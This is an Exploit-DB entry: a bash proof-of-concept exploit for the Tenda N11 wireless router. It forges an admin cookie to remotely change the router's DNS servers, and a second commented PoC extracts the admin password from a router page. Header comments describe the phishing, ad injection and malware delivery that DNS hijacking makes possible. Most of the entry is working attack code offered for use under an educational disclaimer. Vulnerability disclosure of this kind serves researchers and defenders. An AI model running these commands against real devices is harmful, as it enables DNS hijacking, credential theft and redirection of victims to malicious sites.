Tenda N11 Wireless Router 5.07.43_en_NEX01 - Remote DNS Change

EDB-ID: 44353
Author: Todor Donev
Published: 2018-03-28
CVE: N/A
Type: Webapps
Platform: Hardware
Vulnerable App: N/A

 # 
# Tenda N11 Wireless Router V5.07.43_en_NEX01
# Cookie Session Weakness Remote DNS Change PoC Exploit
#
# Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
# https://ethical-hacker.org/
# https://facebook.com/ethicalhackerorg
#
# Once modified, systems use foreign DNS servers, which are
# usually set up by cybercriminals. Users with vulnerable
# systems or devices who try to access certain sites are
# instead redirected to possibly malicious sites.
#
# Modifying systems' DNS settings allows cybercriminals to
# perform malicious activities like:
#
# o Steering unknowing users to bad sites:
# These sites can be phishing pages that
# spoof well-known sites in order to
# trick users into handing out sensitive
# information.
#
# o Replacing ads on legitimate sites:
# Visiting certain sites can serve users
# with infected systems a different set
# of ads from those whose systems are
# not infected.
#
# o Controlling and redirecting network traffic:
# Users of infected systems may not be granted
# access to download important OS and software
# updates from vendors like Microsoft and from
# their respective security vendors.
#
# o Pushing additional malware:
# Infected systems are more prone to other
# malware infections (e.g., FAKEAV infection).
#
# Disclaimer:
# This or previous programs is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
#

if [[ $# -gt 3 || $# -lt 2 ]]; then
echo " Tenda N11 Wireless Router V5.07.43_en_NEX01 "
echo " Cookie Session Weakness Remote DNS Change PoC Exploit"
echo " ==========================================================="
echo " Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
echo " Example: $0 133.7.133.7 8.8.8.8"
echo " Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
echo ""
echo " Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>"
echo " https://ethical-hacker.org/ https://fb.com/ethicalhackerorg"
exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
echo " Error : libwww-perl not found =/"
exit;
fi
GET -H "Cookie: admin:language=en; path=/" "http://$1/goform/AdvSetDns?GO=wan_dns.asp&rebootTag=&DSEN=1&DNSEN=on&DS1=$2&DS2=$3" 2>/dev/null


# Proof Of Concept 2:

# [[email protected] ~]$ GET "http://133.7.13.37:8080/advance.asp" | grep def_password= | sed 's/def_password=/ Password: /g'
# Password: "Ethical-Hacker-Bulgaria-2o18";
# [[email protected] ~]$

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